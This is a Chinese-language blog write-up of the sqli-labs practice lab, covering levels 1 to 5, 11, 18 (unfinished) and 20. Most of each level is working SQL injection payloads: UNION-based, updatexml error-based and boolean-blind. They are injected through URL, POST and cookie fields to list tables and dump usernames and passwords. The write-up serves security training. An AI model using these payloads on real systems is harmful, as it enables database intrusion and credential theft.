sqli-labs解题记录

已于 2024-02-21 23:44:26 修改
阅读量1.7k 收藏 6
点赞数 2
分类专栏： SQL注入 MySQL 文章标签： sql sql注入 sqli-labs mysql
于 2022-02-01 21:06:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46820231/article/details/122761374
版权

题目序号

Page-1

Less-1

1.进入第一题，显示Please input the ID as parameter with numeric value，告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号，显示语句出错，根据报错信息可以得知参数id的值被单引号包裹
在这里插入图片描述

4.构造?id=1' and '1'='1页面重新显示正常，由此判断出这题是单引号字符型注入
在这里插入图片描述

5.构造?id=1' order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1' order by 2 --+页面显示正常
在这里插入图片描述

构造?id=1' order by 3 --+页面显示正常
在这里插入图片描述

构造?id=1' order by 4 --+页面报错，由此可知该表字段数为3
在这里插入图片描述

6.构造?id=-1' union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

7.构造?id=-1' union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

8.构造?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有：emails,referers,uagents,users
在这里插入图片描述

9.构造?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

10.构造?id=-1' union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-2

1.进入第二题，显示Please input the ID as parameter with numeric value，告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号，显示语句出错，根据报错信息可以得知是单引号影响了SQL语句的闭合，由此判断出这题是数字型注入
在这里插入图片描述

4.构造?id=1 order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1 order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1 order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1 order by 4 --+页面报错，由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1 union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1 union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有：emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1 union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-3

1.进入第三题，显示Please input the ID as parameter with numeric value，告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个单引号，显示语句出错，根据报错信息可以得知参数id的值被单引号和括号包裹
在这里插入图片描述

4.构造?id=1') order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1') order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1') order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1') order by 4 --+页面报错，由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1') union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1') union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有：emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1') union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-4

1.进入第四题，显示Please input the ID as parameter with numeric value，告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示正常
在这里插入图片描述

3.接下来加个双引号，显示语句出错，根据报错信息可以得知参数id的值被双引号和括号包裹
在这里插入图片描述

4.构造?id=1") order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1") order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1") order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1") order by 4 --+页面报错，由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1") union select 1,2,3 --+判断出回显点为该表的第二、三字段
在这里插入图片描述

6.构造?id=-1") union select 1,2,database() --+知道了数据库名为security
在这里插入图片描述

7.构造?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+在数据库information_schema中的tables表里查询出security数据库的表有：emails,referers,uagents,users
在这里插入图片描述

8.构造?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
在这里插入图片描述

9.构造?id=-1") union select 1,group_concat(username),group_concat(password) from users --+爆出所有的用户名和密码
在这里插入图片描述

Less-5

1.进入第五题，显示Please input the ID as parameter with numeric value，告诉了我们参数为id
在这里插入图片描述

2.构造?id=1,页面显示You are in...........，不再像前4题显示name和passw
在这里插入图片描述

3.接下来加个单引号，显示语句出错，根据报错信息可以得知参数id的值被单引号包裹
在这里插入图片描述

4.构造?id=1‘ order by 1 --+通过order by子句来判断该数据表的字段数
页面显示正常
在这里插入图片描述
构造?id=1' order by 2 --+页面显示正常
在这里插入图片描述
构造?id=1' order by 3 --+页面显示正常
在这里插入图片描述
构造?id=1' order by 4 --+页面报错，由此可知该表字段数为3
在这里插入图片描述

5.构造?id=-1' union select 1,2,3 --+判断回显点，结果发现行不通
在这里插入图片描述

6.构造?id=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) --+发现可以进行盲注
在这里插入图片描述

7.构造?id=1' and length(database())=8 --+发现8的时候页面正常显示，其他数值时页面不显示You are in…，由此可知数据库名是8位
在这里插入图片描述

8.构造?id=1' and left(database(),1)='s'--+发现页面正常，所以数据库第一位为s
在这里插入图片描述

9.构造?id=1' and left(database(),2)='se'--+，页面显示正常，所以数据库前两位为se
在这里插入图片描述

10.构造?id=1' and left(database(),8)='security'--+，页面正常，得出数据库名为security（可以通过py脚本爆破或者burp爆破得出数据库名）
在这里插入图片描述

11.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+爆出表名
在这里插入图片描述

12.构造?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) --+，发现最后报错结尾没有显示出~（即0x7e），说明还有数据没有显示出来
在这里插入图片描述

13.构造?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x7e,password) from users),1)),0x7e),1) --+，通过substr()来进行截取，由于每次只能截取31个字符，所以每次都把substr函数中的数值加31（1，32，63······以此类推），直到最后的数据以~（即0x7e）结尾，最后把所有结果进行拼接就可以得到完整的数据
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less-11

1、进入第11题
在这里插入图片描述

2、先随便填点并抓个包，通过抓的包可以知道是POST提交
在这里插入图片描述
在这里插入图片描述

3、给passwd的值加个单引号后通过报错可以知道是通过单引号闭合的
在这里插入图片描述

4、通过order by测试出字段数为2
在这里插入图片描述
在这里插入图片描述

5、在passwd的值后面加上' and 1=2 union select 1,2--+测出回显点
在这里插入图片描述

6、在passwd的值后面加上' and 1=2 union select group_concat(username),group_concat(password) from users--+爆出所有账号密码
在这里插入图片描述

Less-18

1、打开18题
在这里插入图片描述

2、账号密码输入admin并抓个包，通过登录后的界面可以知道他获取了我们的User Agent，那么User Agent就有可能存在注入
在这里插入图片描述
在这里插入图片描述

3、

Less-20

1、进入第20题
在这里插入图片描述

2、先填入admin并抓个包，通过抓的包可以知道这里Cookie的值是进行过数据库操作的
在这里插入图片描述
在这里插入图片描述

3、在Cookie的值后面加个单引号，通过报错可以知道是通过单引号进行闭合的
在这里插入图片描述

4、通过order by测出字段数为3
在这里插入图片描述
在这里插入图片描述

5、在Cookie的值后面加上' and 1=2 union select 1,2,3--+判断出回显点
在这里插入图片描述

6、在Cookie的值后面加上' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+爆出账号密码
在这里插入图片描述

992宸
关注
  • 2
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
详细sqli-labs（1-65）通关讲解
m0_67401134的博客
07-30 1万+
如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。...
sql-labs题
ing_end的博客
11-05 3433
1.Please input the ID as parameter with numeric value，意思是：请以数字值作为参数输入id。 2.通过输入id得知用户名和密码。接下来我们要查询数据库中的数据。 判断 Sql 注入漏洞的类型： 1.数字型 2.字符型 其实所有的类型都是根据数据库本身表的类型所产生的，在我们创建表的时候会发现其后总有个数据类型的限制，而不同的数据库又有不同的数据类型，但是无论怎么分常用的查询数据类型总是以数字与字符来区分的，所以就会产生注入点为何种类...
sql-lab题解
qq_64584221的博客
04-08 359
zhiLess-1–基于单引号的字符型注入 初始界面： 上面提示： Please input the ID as parameter with numeric value 意思是我们应该输入一个ID信息 我们给他一个id的传参 ?id=1 在id的之后面加 ’ 可判断是否有漏洞 可以看到数据库报错了，最重要的就是能够看懂数据库的错误信息，从错误信息中我们可以知道是单引号的匹配出了问题，也就是说我们添加的单引号成功被数据库解析，那么我们就可以通过闭合这个id这个参数，然后插入自己...
sqli-labs训练平台靶场详解！！！！
最新发布
ytdd66的博客
03-19 2274
下面选取几个具有代表性的关卡，演示几种 SQL 注入漏洞利用方法。
SQL注入靶场通关
龙卷风摧毁停车场
04-08 1万+
SQL注入靶场通关 SQL注入简介 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。 SQL注入原理 SQL注入攻击是通过操作输入来修改SQL语句，用以达到执行代码对WEB服务器进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令，使web服务器执行恶意命
初学SQLi-LABS过关分享Less-3
SenTouKiReI的博客
06-10 744
初学sql注入SQLi-LABS过关分享Less-3
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
sqli-labs-master.zip
11-20
最新sqli-labs代码，自己也可以到github下载：https://github.com/Audi-1/sqli-labs
windows环境下安装sqli-labs
11-04
windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。
jeakinscheung-sqli-labs-php7-master.zip
03-16
sqli创建数据库连接发现连接不了，这种原因是现在大部分人用的php7，原版的sqli只支持php5.
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
热门推荐
Jay17的博客
08-03 2万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
BUUOJ-sqli_labs做题笔记
qq_52988674的博客
08-30 491
less-1 基于错误的单引号字符串 Please input the ID as parameter with numeric value根据该提示在url输入?id=1，可以看到回显正常，试着加一个单引号，页面报错 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LI
sqli-lab通关笔记
SYJ_361的博客
12-15 2579
sqli-lab通关笔记前6关 Less-1–基于单引号的字符型注入 配置信息 ​ 在Lsee-1目录下的index.php中配置 echo $sql; echo "<br>"; 用于在网页显示sql语句 初始界面 上面提示： Please input the ID as parameter with numeric value 意思是我们应该输入一个ID信息 输入ID后的界面 首先，按F12–【hackbar】 然后，Load加载网页地址到URL上 在URL上输入【 ?id=1
Sqli-labs通关手册【1-30关】
李安北的博客
05-03 7119
1.sql注入的原理 1）sql注入的原因 语言分类：解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令，然后在运行时直接由使用该语言的计算机执行这些指令。 例如：在与用户交互的程序中，用户的输入拼接到SQL语句中，执行了与原定计划不同的行为，从而产生了SQL注入漏洞。 2）登录案例讲解 主要是万能密码：登录SQL语句：select * from admin where username = ‘用户输入的用户名’
Sqli-Labs靶场(1--5)题详解
weixin_46099095的博客
03-10 4573
目录 一.Less-1:GET - Error based - Single quotes -String(GET - 基于错误 - 单引号 - 字符串) 一、判断注入点 二、确认列数 三、使用Union select 进行查询 四、爆破所有数据库名以及当前数据库名 五、爆破security数据库内的所有表名 六、爆破users表内的所有列名 七、查询所有的用户名，密码 二.Less-2:GET - Error based - Intiger based(GET - 基于错误 -..
sqli-labs(全通关刷题笔记)
读万卷书，行万里路。
01-15 2297
文章目录1 准备工作2 基础挑战(1-20)less-1less-2less-3less-4less-5报错注入布尔注入延时注入less-6less-7less-8less-9less-10Hackbarless-11less-12less-14less-15less-16less-17less-18less-19less-203 高级注入(21-37)less-21less-22less-23less-24less-25less-26less-26aless-27less-27aless-28less-2
Sqli-labs 1-65关的解题记录（做题思路与简要）
CaesarQu的博客
08-13 3393
Sqli-labs的详细解题记录 Less-1: 进入关卡内先判断是否存在注入情况，先输入？id =1 and 1=1，发现没有变化，换成and 1=2,依旧没有变化，考虑是为字符型而非整形。用 ’ 进行测试，发现页面报错，出现如下显示，证明可以进行SQL注入。 发现为字符型的后先在后面加一个注释符 --+ 可以发现正常返回数据。 此处可以用 order by 对前面的数据进行排列，先进行试数，发现只有三组数据，'order by 4–+就会超出 然后就可以进行union联合注入 然后就可以获取所有
史上最详细的sql-labs通关秘籍less1-4
weixin_50644728的博客
11-24 737
到此就完整地过了一遍less1了，总结来说有以下几个步骤：先判断注入类型：是数值型还是字符型，通过测试可知less1为字符型注入（引号包裹id值），闭合单引号判断字段数：用order by测试回显字段：用union select 1，2，3，……获取数据库名：用database（）函数获取数据表名：用group_concat(table_name)、information_schema.tables表中的security数据库。
sqli-labs-master
07-22
sqli-labs-master是一个SQL注入漏洞测试平台，安装教程如下： 1. 下载sqli-labs-master压缩包并解压缩。 2. 安装LAMP或WAMP环境，确保Apache、MySQL和PHP已经安装并配置好。 3. 将解压缩后的sqli-labs-master...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

992宸

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值